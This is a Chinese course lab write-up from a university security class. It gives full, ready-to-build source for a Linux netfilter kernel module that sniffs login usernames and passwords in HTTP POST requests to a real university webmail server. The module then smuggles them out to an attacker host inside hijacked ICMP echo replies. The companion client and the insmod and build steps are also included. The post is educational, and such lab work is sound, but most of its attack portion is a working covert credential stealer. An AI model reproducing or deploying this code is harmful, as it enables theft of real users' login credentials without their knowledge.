科软-信息安全实验2-netfilter实验
一 前言
文章不讲解理论知识哈,想学习理论知识的,认真听课😄,也可以参考郭老师的讲义:信息安全课程 ustcsse308
对于Linux,我只是个半路闯进来的小白,做实验过程中经常会被Linux内核玩得怀疑人生。所以我觉得很有必要先阐明实验的环境,以免各位同学不小心掉坑里。当然,如果你就是想爬坑,咱也拦不住😄
实验环境 / 工具:
- VMware workstation:VMware-workstation-full-15.0.0-10134415,网盘下载(密码:xn3p)
- 两台虚拟机(命名为:hacker(黑客),mice(小白鼠)),系统为:ubuntu-18.04.2-desktop-amd64.iso,网盘下载(密码:0ekt)
你可能用得上的网站:
- Old Ubuntu Releases(老版本的Linux系统下载网址):http://old-releases.ubuntu.com/releases/
- Linux内核源码搜索:https://elixir.bootlin.com/linux/v4.0/source/arch/x86/kernel/entry_64.S
- Ubuntu Kernel Release Schedule(内核与操作系统版本的对应关系):https://wiki.ubuntu.com/Kernel/Support
相关实验:
- 科软-信息安全实验1-ICMP重定向:https://www.cnblogs.com/southday/p/11005766.html
- 科软-信息安全实验3-Rootkit劫持系统调用:https://www.cnblogs.com/southday/p/11013166.html
二 Talk is cheap, show me the code
mice端 Makefile:
注意:由于make命令的限制,make -C ... 的前面必须是2个tab(不能将tab转为空格)
1 obj-m += lcx-nfsniff.o 2 3 all: 4 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 6 clean: 7 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
mice端 lcx-nfsniff.c:
当时也是闲着无聊,自己写了kmp字符串匹配的函数,其实C语言中提供了strstr()函数可以实现同样的效果;
1 #include <linux/module.h> 2 #include <linux/kernel.h> 3 #include <linux/skbuff.h> 4 #include <linux/in.h> 5 #include <linux/ip.h> 6 #include <linux/tcp.h> 7 #include <linux/icmp.h> 8 #include <linux/netdevice.h> 9 #include <linux/netfilter.h> 10 #include <linux/netfilter_ipv4.h> 11 #include <linux/if_arp.h> 12 #include <linux/if_ether.h> 13 #include <linux/if_packet.h> 14 15 #define MAGIC_CODE 0x77 // ICMP CODE 16 #define REPLY_SIZE 36 // tartget_ip(4B) + username(16B) + password(16B) 17 18 #define SUCCESS 1 19 #define FAILURE -1 20 #define IP_202_38_64_8 138421962 // email.ustc.edu.cn 21 22 static const char *post_uri = "POST /coremail/index.jsp?cus=1"; 23 static const int post_uri_len = 30; 24 static const unsigned int target_ip = IP_202_38_64_8; 25 26 static char *username = NULL; 27 static char *password = NULL; 28 29 static struct nf_hook_ops pre_hook; 30 static struct nf_hook_ops post_hook; 31 32 /** 33 * 过滤器:发现我想要的数据包,如下: 34 * dest_ip:202.38.64.8 (email.ustc.edu.cn) 35 * tcp_dest_port:80 36 * POST_URI:POST /coremail/index.jsp?cus=1 37 * 38 * @return SUCCESS/FAILURE 39 * @author southday 40 * @date 2019.04.14 41 */ 42 static unsigned int findpkt_iwant(struct sk_buff *skb) { 43 struct iphdr *ip = NULL; 44 struct tcphdr *tcp = NULL; 45 char *data = NULL; 46 int tcp_payload_len = 0; 47 48 ip = (struct iphdr *)skb_network_header(skb); 49 if (ip->daddr != IP_202_38_64_8 || ip->protocol != IPPROTO_TCP) 50 return FAILURE; 51 52 tcp = (struct tcphdr *)skb_transport_header(skb); 53 tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2); 54 data = (char *)((char *)tcp + (tcp->doff<<2)); 55 if (tcp->dest != htons(80) 56 || tcp_payload_len < post_uri_len 57 || strncmp(data, post_uri, post_uri_len) != 0) { 58 return FAILURE; 59 } 60 printk("--------------- findpkt_iwant ------------------\n"); 61 printk("ip_hdrlen: %d\n", (ip->ihl<<2)); 62 printk("tcp_hdrlen: %d\n", (tcp->doff<<2)); 63 printk("ip_total_len: %d\n", ntohs(ip->tot_len)); 64 printk("tcp_payload_len: %d\n", tcp_payload_len); 65 printk("ip_addr: 0x%p\n", ip); 66 printk("tcp_addr: 0x%p\n", tcp); 67 printk("tcp_data_addr: 0x%p\n", data); 68 printk("hex : data[0-3] = 0x%02x%02x%02x%02x\n", data[0], data[1], data[2], data[3]); 69 printk("char: data[0-3] = %c%c%c%c\n", data[0], data[1], data[2], data[3]); 70 printk("--------------- findpkt_iwant ------------------\n"); 71 return SUCCESS; 72 } 73 74 /** 75 * 使用KMP算法进行字符串匹配 76 * @return 匹配(>=0)/未匹配(-1) 77 * @author southday 78 * @date 2019.04.13 79 */ 80 static int kmp(const char *cs, int cslen, const char *ct, int ctlen) { 81 int i = 0, j = -1; 82 int *next = NULL; 83 84 // 1) get next[] 85 next = (int *)kmalloc(ctlen*sizeof(int), GFP_KERNEL); 86 if (next == NULL) 87 return -1; 88 next[0] = -1, next[1] = 0; 89 while (i < ctlen) { 90 if (j == -1 || ct[i] == ct[j]) { 91 i++, j++; 92 next[i] = j; 93 } else { 94 j = next[j]; 95 } 96 } 97 // 2) match 98 i = 0, j = 0; 99 while (i < cslen && j < ctlen) { 100 if (j == -1 || cs[i] == ct[j]) { 101 i++, j++; 102 } else { 103 j = next[j]; 104 } 105 } 106 kfree(next); 107 next = NULL; 108 return j >= ctlen ? (i - ctlen) : -1; 109 } 110 111 /** 112 * 从URL的参数中提取key对应的value值 113 * 比如:uid=lichaoxi&password=1234 114 * @param urlparam urlparam的首地址 115 * @param ulen url的长度 116 * @param key 如:uid=,password= 117 * @param klen key的长度(注意后面还有个=号) 118 * @return 成功找到(包含value的字符串首地址)/失败(NULL) 119 * 120 * @author southday 121 * @date 2019.04.13 122 */ 123 char * fetch_urlparam(char *urlparam, int ulen, char *key, int klen) { 124 int index = 0, i = 0; 125 char *value = NULL; 126 127 if ((index = kmp(urlparam, ulen, key, klen)) == -1) 128 return NULL; 129 urlparam += (index + klen); 130 ulen -= (index + klen); 131 // username, password中本身就可能含有类似'&'这样需要进行编码的字符,urlencode('&') = %26 132 // http://www.atool88.com/urlencode.php 133 for (i = 0; i < ulen && urlparam[i] != '&'; i++); 134 if (i >= ulen) 135 return NULL; 136 // i + 1, for the last char '\0' 137 if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL) 138 return NULL; 139 memcpy(value, urlparam, i); 140 value[i] = '\0'; 141 return value; 142 } 143 144 /** 145 * 从HTTP数据包中抓取 username, password 146 * 在调用该方法前需要先调用 findpkt_iwant()方法进行过滤 147 * 148 * @author southday 149 * @date 2019.04.13 150 */ 151 static void fetch_http(struct sk_buff *skb) { 152 struct iphdr *ip = NULL; 153 struct tcphdr *tcp = NULL; 154 char *data = NULL; // tcp data 155 int tcp_payload_len = 0; 156 int i = 0, index = -1; 157 int content_len = 0; // Cotent-Length 158 159 ip = (struct iphdr *)skb_network_header(skb); 160 tcp = (struct tcphdr *)skb_transport_header(skb); 161 tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2); 162 data = (char *)tcp + (tcp->doff<<2); 163 164 // e.g: Content-Length: 77\r\n 165 index = kmp(data, tcp_payload_len, "Content-Length: ", 16); 166 if (index == -1) 167 return; 168 data += (index + 16); // data point to: 77\r\n 169 for (i = 0; data[i] != '\r'; i++) 170 content_len = content_len*10 + ((int)data[i]-'0'); 171 // now content_len = 77 172 173 // data point to layer: HTML Form URL Encode 174 data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len); 175 // 1) fetch username 176 username = fetch_urlparam(data, content_len, "uid=", 4); 177 // 2) fetch password 178 password = fetch_urlparam(data, content_len, "password=", 9); 179 if (username == NULL || password == NULL) 180 return; 181 printk("----------------- fetch_http -------------------\n"); 182 printk("content_len = %d\n", content_len); 183 printk("urlencode(username): %s\n", username); 184 printk("urlencode(password): %s\n", password); 185 printk("----------------- fetch_http -------------------\n"); 186 } 187 188 /** 189 * 是否已经抓取到一对<用户名,密码> 190 * @return 是(1)/否(0) 191 * @author southday 192 * @date 2019.04.14 193 */ 194 static int hasPair(void) { 195 return username != NULL && password != NULL; 196 } 197 198 /** 199 * POST_ROUTING,将数据包发送出去的前一个HOOK点; 200 * 用于监听本机往外发送的数据包,并从中提取出所需的username,password; 201 * 下面实现的是对于网址 http://email.ustc.edu.cn 的监听 202 * > nslookup email.ustc.edu.cn => Address: 202.38.64.8 203 * 204 * @author southday 205 * @date 2019.04.13 206 */ 207 static unsigned int watch_out(void *priv, 208 struct sk_buff *skb, 209 const struct nf_hook_state *state) { 210 if (findpkt_iwant(skb) == FAILURE) 211 return NF_ACCEPT; 212 printk("findpkt_iwant ====> SUCCESS\n"); 213 if (!hasPair()) 214 fetch_http(skb); 215 return NF_ACCEPT; 216 } 217 218 /** 219 * PRE_ROUTING,接收数据包的第一个HOOK点; 220 * 用于监听本机接收的数据包,若为hacker想要获取数据而发来的指定ICMP_ECHO数据包(icmp->code=0x77), 221 * 则将tager_ip, username, password拷贝到原ICMP包的数据部分,然后返回给hacker; 222 * 223 * @author southday 224 * @date 2019.04.14 225 */ 226 static unsigned int watch_in(void *priv, 227 struct sk_buff *skb, 228 const struct nf_hook_state *state) { 229 struct iphdr *ip = NULL; 230 struct icmphdr *icmp = NULL; 231 int icmp_payload_len = 0; 232 char *cp_data = NULL; // copy pointer 233 unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr) 234 235 ip = (struct iphdr *)skb_network_header(skb); 236 if (!hasPair() || ip->protocol != IPPROTO_ICMP) 237 return NF_ACCEPT; 238 239 icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2)); 240 // 最后8字节为 ICMP首部长度 241 icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8; 242 if (icmp->code != MAGIC_CODE 243 || icmp->type != ICMP_ECHO 244 || icmp_payload_len < REPLY_SIZE) { 245 return NF_ACCEPT; 246 } 247 248 // 因为要往回发包,所以交换源、目的IP 249 temp_ipaddr = ip->saddr; 250 ip->saddr = ip->daddr; 251 ip->daddr = temp_ipaddr; 252 253 skb->pkt_type = PACKET_OUTGOING; 254 switch (skb->dev->type) { 255 case ARPHRD_PPP: break; 256 case ARPHRD_LOOPBACK: 257 case ARPHRD_ETHER: { 258 unsigned char temp_hwaddr[ETH_ALEN]; 259 struct ethhdr *eth = NULL; 260 // Move the data pointer to point to the link layer header 261 eth = (struct ethhdr *)eth_hdr(skb); 262 skb->data = (unsigned char*)eth; 263 skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet); 264 memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN); 265 memcpy(eth->h_dest, eth->h_source, ETH_ALEN); 266 memcpy(eth->h_source, temp_hwaddr, ETH_ALEN); 267 break; 268 } 269 } 270 271 // copy target_ip, username, password into packet 272 cp_data = (char *)icmp + 8; 273 memcpy(cp_data, &target_ip, 4); 274 memcpy(cp_data+4, username, 16); 275 memcpy(cp_data+20, password, 16); 276 277 printk("watch_in STOLEN ====> SUCCESS\n"); 278 printk("urlencode(username): %s\n", username); 279 printk("urlencode(password): %s\n", password); 280 dev_queue_xmit(skb); // 发送数据帧 281 kfree(username); 282 kfree(password); 283 username = password = NULL; 284 return NF_STOLEN; 285 } 286 287 int init_module(void) { 288 pre_hook.hook = watch_in; 289 pre_hook.pf = PF_INET; 290 pre_hook.hooknum = NF_INET_PRE_ROUTING; 291 pre_hook.priority = NF_IP_PRI_FIRST; 292 nf_register_net_hook(&init_net, &pre_hook); 293 294 post_hook.hook = watch_out; 295 post_hook.pf = PF_INET; 296 post_hook.hooknum = NF_INET_POST_ROUTING; 297 post_hook.priority = NF_IP_PRI_FIRST; 298 nf_register_net_hook(&init_net, &post_hook); 299 printk("init_module\n"); 300 return 0; 301 } 302 303 void cleanup_module(void) { 304 nf_unregister_net_hook(&init_net, &pre_hook); 305 nf_unregister_net_hook(&init_net, &post_hook); 306 printk("cleanup_module\n"); 307 }
hacker端 lcx-getpass.c:
1 #include<stdlib.h> 2 #include<stdio.h> 3 #include<string.h> 4 #include<unistd.h> 5 #include<sys/types.h> 6 #include<sys/socket.h> 7 #include<netinet/in.h> 8 #include<netinet/ip_icmp.h> 9 #include<linux/if_ether.h> 10 #include<arpa/inet.h> 11 12 #define BUFF_SIZE 256 13 #define SUCCESS 1 14 #define FAILURE -1 15 #define MAGIC_CODE 0x77 // ICMP ECHO CODE 16 17 struct sockaddr_in remoteip; 18 struct in_addr server_addr; 19 int recvsockfd = -1; 20 int sendsockfd = -1; 21 unsigned char recvbuff[BUFF_SIZE]; 22 unsigned char sendbuff[BUFF_SIZE]; 23 24 int load_args(const int argc, char **); 25 void print_cmdprompt(); 26 int send_icmp_request(); 27 int recv_icmp_reply(); 28 unsigned short cksum(unsigned short *, int len); 29 void print_ippacket_inbyte(unsigned char *); 30 31 int main(int argc, char **argv) { 32 if (load_args(argc, argv) < 0) { 33 printf("command format error!\n"); 34 print_cmdprompt(); 35 return FAILURE; 36 } 37 recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); 38 sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); 39 if (recvsockfd < 0 || sendsockfd < 0) { 40 perror("socket creation error"); 41 return FAILURE; 42 } 43 printf("lcx-getpass running...\n"); 44 // 1) 发送ICMP ECHO 回送请求报文 45 send_icmp_request(); 46 // 2) 接收ICMP ECHO 回送回答报文 47 recv_icmp_reply(); 48 close(sendsockfd); 49 close(recvsockfd); 50 return 0; 51 } 52 53 /** 54 * 命令:lcx-getpass 192.168.23.131 55 * 载入参数:192.168.23.131,表示受害者主机IP地址 56 * 57 * @author southday 58 * @date 2019.04.14 59 */ 60 int load_args(const int argc, char *argv[]) { 61 if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0) 62 return FAILURE; 63 return SUCCESS; 64 } 65 66 /** 67 * 打印命令提示信息 68 * @author southday 69 * @date 2019.04.14 70 */ 71 void print_cmdprompt() { 72 printf("\nlcx-getpass [remoteip]\n\n"); 73 printf("\t [remoteip] Victim host IP address, eg: 192.168.23.131\n"); 74 } 75 76 /** 77 * 发送ICMP回送请求报文 78 * @author southday 79 * @date 2019.04.14 80 */ 81 int send_icmp_request() { 82 bzero(sendbuff, BUFF_SIZE); 83 // 构造ICMP ECHO首部 84 struct icmp *icmp = (struct icmp *)sendbuff; 85 icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8 86 icmp->icmp_code = MAGIC_CODE; 87 icmp->icmp_cksum = 0; 88 // 计算ICMP校验和,涉及首部和数据部分,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password)) 89 icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36); 90 91 printf("sending request........\n"); 92 int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip)); 93 if (ret < 0) { 94 perror("send error"); 95 } else { 96 printf("send a icmp echo request packet!\n\n"); 97 } 98 return SUCCESS; 99 } 100 101 /** 102 * 接收ICMP回送回答报文 103 * @author southday 104 * @date 2019.04.14 105 */ 106 int recv_icmp_reply() { 107 bzero(recvbuff, BUFF_SIZE); 108 printf("waiting for reply......\n"); 109 if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) { 110 printf("failed getting reply packet\n"); 111 return FAILURE; 112 } 113 struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20); 114 memcpy(&server_addr, (char *)icmp+8, 4); 115 // 打印IP包字节数据,便于调试 116 print_ippacket_inbyte(recvbuff); 117 printf("stolen from http server: %s\n", inet_ntoa(server_addr)); 118 printf("username: %s\n", (char *)((char *)icmp + 12)); 119 printf("password: %s\n", (char *)((char *)icmp + 28)); 120 return SUCCESS; 121 } 122 123 /** 124 * 计算校验和 125 * 1) IP:IP首部 126 * 2) ICMP:首部+数据 127 * @param *addr 开始计算校验和的入口地址 128 * @param len 计算校验和所使用的数据长度,单位Byte 129 * @return 16位的校验和 130 * 131 * @author southday 132 * @date 2019.03.29 133 */ 134 unsigned short cksum(unsigned short *addr, int len) { 135 int sum = 0; 136 unsigned short res = 0; 137 /* len -= 2,因为 sizeof(unsigned short) = 2; 138 * sum += *(addr++),每次偏移2Byte 139 */ 140 for (; len > 1; sum += *(addr++), len -= 2); 141 // 每次处理2Byte,可能会存在多余的1Byte 142 sum += len == 1 ? *addr : 0; 143 // sum:高16位 + 低16位,高16位中存在可能的进位 144 sum = (sum >> 16) + (sum & 0xffff); 145 // sum + sum的高16位,高16位中存在可能的进位 146 sum += (sum >> 16); 147 // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位 148 res = ~sum; 149 return res; 150 } 151 152 /** 153 * 以单字节形式打印IP数据包,包括首部和数据部分,并且模仿wireshark的格式,便于调试 154 * @author southday 155 * @date 2019.04.14 156 */ 157 void print_ippacket_inbyte(unsigned char *ipbuff) { 158 struct ip *ip = (struct ip *)ipbuff; 159 printf(" %02x %02x", ipbuff[0], ipbuff[1]); 160 for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) { 161 if (i % 16 == 0) 162 printf("\n"); 163 if (i % 8 == 0) 164 printf(" "); 165 printf("%02x ", ipbuff[i+2]); 166 } 167 printf("\n"); 168 }
三 前期准备
1 登录 http://email.ustc.edu.cn/,使用Wireshark抓包
2 Wireshark抓包分析,可以获取以下信息:
- 服务器IP:202.38.64.8
- URL中用户名的key为:uid,密码的key为:password
- 使用POST提交请求,POST /coremail/index.jsp?cus=1 HTTP/1.1 \r\n
- Content-Length:89\r\n
3 过滤条件中IP地址的处理
- 在wireshark中:202.38.64.8 对应的16进制是:0xca264008,顺序匹配;
- 在内核 ip->daddr中:202.38.64.8 对应的16进制是:0x084026ca,顺序相反;
lcx@ubuntu:~/Documents/InfoSec/E2/lcx$ tail -f /var/log/syslog Apr 12 20:03:44 ubuntu kernel: [ 4940.501069] dest_ip(hex): 0x84026ca Apr 12 20:03:44 ubuntu kernel: [ 4940.501301] watch_in! Apr 12 20:03:53 ubuntu kernel: [ 4949.270321] watch_in! Apr 12 20:03:53 ubuntu kernel: [ 4949.270589] dest_ip(dec): 138421962 Apr 12 20:03:53 ubuntu kernel: [ 4949.270590] dest_ip(hex): 0x84026ca
根据如下规则进行过滤:
dest_ip:202.38.64.8 (email.ustc.edu.cn) tcp_dest_port:80 POST_URI:POST /coremail/index.jsp?cus=1
4 uid,password的获取
5 关于URL的编码问题
1)lcx-nfsniff.c 里直接原样传输给 hacker端,然后 getpass.c 中进行URL解码:1234&56你好;(不过找了一些资料,自己实现起来有点麻烦,所以还是先把主要的功能实现,这个问题后期有时间再去解决;(写博客的时候:好的,我放弃了😂))
2)getpass.c 中也是原样打印字符串,然后使用在线工具进行解码如:在线UrlEncode编码 / UrlDecode解码(gbk, big5, utf8) - aTool在线工具
6 后续
接下来就是在 watch_in hook 中监听hacker端发来的 “获取用户名密码(icmp->code=0x77)”(为什么是0x77?因为我喜欢数字7😂) 的 ICMP ECHO 数据包,如果不是该数据包则不进行任何处理;若为该数据包,则将之前 watch_out hook 中获取到的 target_ip, username, password 填充到 icmp 的 data 部分,然后返回 NF_STOLEN,表示后面不对该数据包进行处理,这样就把数据发回给 hacker 端了。
四 效果演示
1 hacker端
1)在 mice端 lcx-nfsniff 未抓取 username,password之前:
2)在 mice端 lcx-nfsniff 抓取到 username,password之后:
3)getpass.sh 就一行代码,放在可执行程序 lcx-nfsniff 的同层目录下:
./lcx-getpass 192.168.23.131
2 mice端
1)进入 lcx-nfsniff.c 文件所在目录,注意:Makefile 文件和 lcx-nfsniff.c 文件在同一个目录下,不要更改 Makefile 文件的名称;
2)执行命令:
- make
- sudo insmod lcx-nfsniff.ko
- tail -f /var/log/syslog
3)在网站(http://email.ustc.edu.cn/)中输入用户名密码进行登陆,即可看到抓取的信息;
五 遇到的问题&解决
下面的内容,一部分是我在看老师讲义上的代码时遇到的问题,另一部分是我自己DIY时爬过的坑,如果大家直接用我上面提供的代码,就莫得问题😉(内容仅供参考,不保证正确)
老师提供的代码,在这里👉 传送门~
1 由 钩子函数注册不了 引起的一系列问题
1.1 implicit declaration of function ‘nf_register_hook’; did you mean ‘nf_register_net_hook’? [-Werror=implicit-function-declaration]
要用 nf_register_net_hook;
1.2 error: assignment from incompatible pointer type [-Werror=incompatible-pointer-types]
post_hook.hook = watch_out;
注意,我实验用的Linux 内核是:Linux version 4.18.0-17-generic (buildd@lgw01-amd64-021) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #18~18.04.1-Ubuntu SMP Fri Mar 15 15:27:12 UTC 2019。而老师实验用的Linux 内核是2.x版本的,所以老师给的示例代码 nfsniff.c 和 getpass.c 都需要进行一定的修改。
1 int init_module() { 2 pre_hook.hook = watch_in; 3 pre_hook.pf = PF_INET; 4 pre_hook.priority = NF_IP_PRI_FIRST; 5 pre_hook.hooknum = NF_INET_PRE_ROUTING; 6 7 post_hook.hook = watch_out; 8 post_hook.pf = PF_INET; 9 post_hook.priority = NF_IP_PRI_FIRST; 10 post_hook.hooknum = NF_INET_POST_ROUTING; 11 12 nf_register_hook(&pre_hook); 13 nf_register_hook(&post_hook); 14 15 return 0; 16 } 17 18 static unsigned int watch_in(unsigned int hooknum, 19 struct sk_buff *skb, 20 const struct net_device *in, 21 const struct net_device *out, 22 int (*okfn)(struct sk_buff *)) {}
Linux version 4.18.0-17 的 netfilter.h 中的相关声明如下:
1 typedef unsigned int nf_hookfn(void *priv, 2 struct sk_buff *skb, 3 const struct nf_hook_state *state); 4 struct nf_hook_ops { 5 /* User fills in from here down. */ 6 nf_hookfn *hook; 7 struct net_device *dev; 8 void *priv; 9 u_int8_t pf; 10 unsigned int hooknum; 11 /* Hooks are ordered in ascending priority. */ 12 int priority; 13 }; 14 15 struct nf_hook_state { 16 unsigned int hook; 17 u_int8_t pf; 18 struct net_device *in; 19 struct net_device *out; 20 struct sock *sk; 21 struct net *net; 22 int (*okfn)(struct net *, struct sock *, struct sk_buff *); 23 };
可以看到,参数没对应上;需要根据新版本的结构体来编写代码;
1.3 源码:nf_register_net_hook(&pre_hook); 报错
In file included from /home/lcx/Documents/InfoSec/E2/yan/nfsniff.c:9:0: ./include/linux/netfilter.h:167:5: note: expected ‘struct net *’ but argument is of type ‘struct nf_hook_ops *’ int nf_register_net_hook(struct net *net, const struct nf_hook_ops *ops); ^~~~~~~~~~~~~~~~~~~~ /home/lcx/Documents/InfoSec/E2/yan/nfsniff.c:250:4: error: too few arguments to function ‘nf_register_net_hook’ nf_register_net_hook(&post_hook); ^~~~~~~~~~~~~~~~~~~~
这个 nf_register_net_hook() 除了 nf_hook_ops * 外,还需要一个 net * 参数,从 linux/netfilter.h 源码中看到一行代码,如下:
static inline bool net_has_fallback_tunnels(const struct net *net) { return net == &init_net || !IS_ENABLED(CONFIG_SYSCTL) || !sysctl_fb_tunnels_only_for_init_net; }
然后我在全文查找了 init_net,并没有找到定义的地方,可以猜到 init_net 是已经在其他头文件中定义好的值了,可以直接使用;所以上面的 nf_register_net_hook() 的第一个参数也应该写为:&init_net;
经过查找源码,发现确实在 <net/net_namespace.h> 中引用了变量 init_net;
- init_net 是在 /net/core/net_namespace.c 文件中定义的;(参考网址:https://elixir.bootlin.com/linux/v4.18/ident/init_net)
- net/net_namespace.h 文件位置:/usr/src/linux-headers-4.18.0-17/include/net/net_namespace.h,struct net {} 也是在这个头文件中定义;
- 关于struct net *net,init_net,可以参考:struct net网络命名空间;
struct net init_net = { .count = REFCOUNT_INIT(1), .dev_base_head = LIST_HEAD_INIT(init_net.dev_base_head), }; EXPORT_SYMBOL(init_net);
问题1.1~1.3的解决可以参考下面的示例代码:
1 #include <linux/module.h> 2 #include <linux/kernel.h> 3 #include <linux/skbuff.h> 4 #include <linux/in.h> 5 #include <linux/ip.h> 6 #include <linux/tcp.h> 7 #include <linux/icmp.h> 8 #include <linux/netdevice.h> 9 #include <linux/netfilter.h> 10 #include <linux/netfilter_ipv4.h> 11 #include <linux/if_arp.h> 12 #include <linux/if_ether.h> 13 #include <linux/if_packet.h> 14 15 static struct nf_hook_ops pre_hook; 16 static struct nf_hook_ops post_hook; 17 18 static unsigned int watch_in(void *priv, 19 struct sk_buff *skb, 20 const struct nf_hook_state *state) { 21 printk("watch_in!\n"); 22 return NF_ACCEPT; 23 } 24 25 static unsigned int watch_out(void *priv, 26 struct sk_buff *skb, 27 const struct nf_hook_state *state) { 28 printk("watch_out!\n"); 29 return NF_ACCEPT; 30 } 31 32 int init_module(void) { 33 pre_hook.hook = watch_in; 34 pre_hook.pf = PF_INET; 35 pre_hook.hooknum = NF_INET_PRE_ROUTING; 36 pre_hook.priority = NF_IP_PRI_FIRST; 37 nf_register_net_hook(&init_net, &pre_hook); 38 39 40 post_hook.hook = watch_out; 41 post_hook.pf = PF_INET; 42 post_hook.hooknum = NF_INET_POST_ROUTING; 43 post_hook.priority = NF_IP_PRI_FIRST; 44 nf_register_net_hook(&init_net, &post_hook); 45 printk(KERN_INFO "init_module\n"); 46 return 0; 47 } 48 49 void cleanup_module(void) { 50 nf_unregister_net_hook(&init_net, &pre_hook); 51 nf_unregister_net_hook(&init_net, &post_hook); 52 printk(KERN_INFO "cleanup_module\n"); 53 }
1.4 针对 1.1~1.3 的解答,老师可能会就着 hook_func_in 的函数定义来提问相关问题,比如:const struct nf_hook_state *state 这个参数是什么意思?所以需要弄懂相关函数定义的意思;
static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { printk("watch_out!\n"); return NF_ACCEPT; }
1 struct nf_hook_state { 2 unsigned int hook; // 挂在哪个钩子上(NF_IP_PRE_ROUTING 等五个值中的一个); 3 u_int8_t pf; // 指定协议族。有效的协议系列可从 linux/socket.h 获得,对于IPv4,要使用 PF_INET; 4 struct net_device *in; // 用于描述数据包到达的接口,只会为 NF_IP_PRE_ROUTING 和 NF_IP_LOCAL_IN 挂钩提供 in; 5 struct net_device *out; // 用于描述了数据包离开的接口,仅为 NF_IP_LOCAL_OUT 和 NF_IP_POST_ROUTING 挂钩提供 out; 6 struct sock *sk; // 指向拥有本次sk_buff的sock结构的指针; 7 struct net *net; // 表示一个网络命名空间; 8 int (*okfn)(struct net *, struct sock *, struct sk_buff *); // wtf? 9 };
net_device 结构是Linux内核用来描述各种网络接口的结构,这些结构中的第一个,in用于描述数据包到达的接口,out结构描述了数据包离开的接口。重要的是,要意识到通常只提供这些结构中的一种。例如,只会为NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN挂钩提供 in。 仅为NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING挂钩提供 out。
2)struct sock *sk;(参考自:Linux:sk_buff完全剖析与理解)
这是一个指向拥有这个sk_buff的sock结构的指针。这个指针在网络包由本机发出或者由本机进程接收时有效,因为插口相关的信息被L4(TCP或UDP)或者用户空间程序使用。如果sk_buff只在转发中使用(这意味着,源地址和目的地址都不是本机地址),这个指针是NULL。
3)struct net *net;(参考自:struct net网络命名空间)
struct net 结构体表示的内核中的网络命名空间(net_namespace)。在linux内核中,每一个网络设备(struct net_device)都有一个所属的网络命名空间。
2 makefile:4: *** missing separator. Stop(https://stackoverflow.com/questions/16931770/makefile4-missing-separator-stop)
我之前修改了vim的配置,让tab自动转为4个空格,后来发现执行make命令时报这个错,原因是make命令自身的限制,Makefile文件中必须是2个tab(转为空格也不行),关于vim配置的更改,执行命令:vim ~/.vimrc,添加如下内容:
1 " ====================== common settings ==================== 2 " 3 set hlsearch 4 set backspace=2 5 set autoindent 6 set ruler 7 set showmode 8 set nu 9 set bg=dark 10 " for stupid make command, cancel tab auto 4 spaces 11 " set tabstop=4 12 " set expandtab 13 set softtabstop=4 14 set shiftwidth=4 15 syntax on 16 " 17 " ====================== common settings =====================
3 if (strncmp(data, "PASS ", 5) == 0) {},strncmp()函数的意思
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) return;
- 使用 GFP_KENRL 意味着 kmalloc 能够使当前进程在少内存的情况下睡眠来等待一页;
- 一个使用 GFP_KERNEL 来分配内存的函数必须是可重入的,并且不能在原子上下文中运行。当当前进程睡眠,内核采取正确的动作来定位一些空闲内存,或者通过刷新缓存到磁盘或者交换出去一个用户进程的内存;
具体内容请参考:内核中的kmalloc函数详解
5 这个'\0'是占几个字节?
*(username + len) = '\0';
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int main() { 6 char *data = (char *)malloc(sizeof(char)*20); 7 memset(data, 0x31, 20); 8 *(data + 10) = '\0'; 9 data[11] = '\0'; 10 for (int i = 0; i < 20; i++) 11 printf("(%d)0x%02x ", i, data[i]); 12 printf("\ndata: %s\n", data); 13 free(data); 14 return 0; 15 } 16 17 // 输出 18 (0)0x31 (1)0x31 (2)0x31 (3)0x31 (4)0x31 (5)0x31 (6)0x31 (7)0x31 (8)0x31 (9)0x31 (10)0x00 (11)0x00 (12)0x31 (13)0x31 (14)0x31 (15)0x31 (16)0x31 (17)0x31 (18)0x31 (19)0x31 19 data: 1111111111
6 如何理解下面的代码?(位于demo:nfsniff.c)
1 skb->pkt_type = PACKET_OUTGOING; // ? 2 switch (skb->dev->type) { 3 case ARPHRD_PPP: break; 4 case ARPHRD_LOOPBACK: 5 case ARPHRD_ETHER: { 6 unsigned char temp_hwaddr[ETH_ALEN]; 7 struct ethhdr *eth = NULL; 8 // Move the data pointer to point to the link layer header 9 eth = (struct ethhdr *)eth_hdr(skb); 10 skb->data = (unsigned char*)eth; 11 skb->len += ETH_HLEN; // sizeof(skb->mac.ethernet); 12 memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN); 13 memcpy(eth->h_dest, eth->h_source, ETH_ALEN); 14 memcpy(eth->h_source, temp_hwaddr, ETH_ALEN); 15 break; 16 } 17 }
6.1 skb->pkt_type = PACKET_OUTGOING; 是什么意思?为何进行这样的设置?skb->dev->type 是什么?
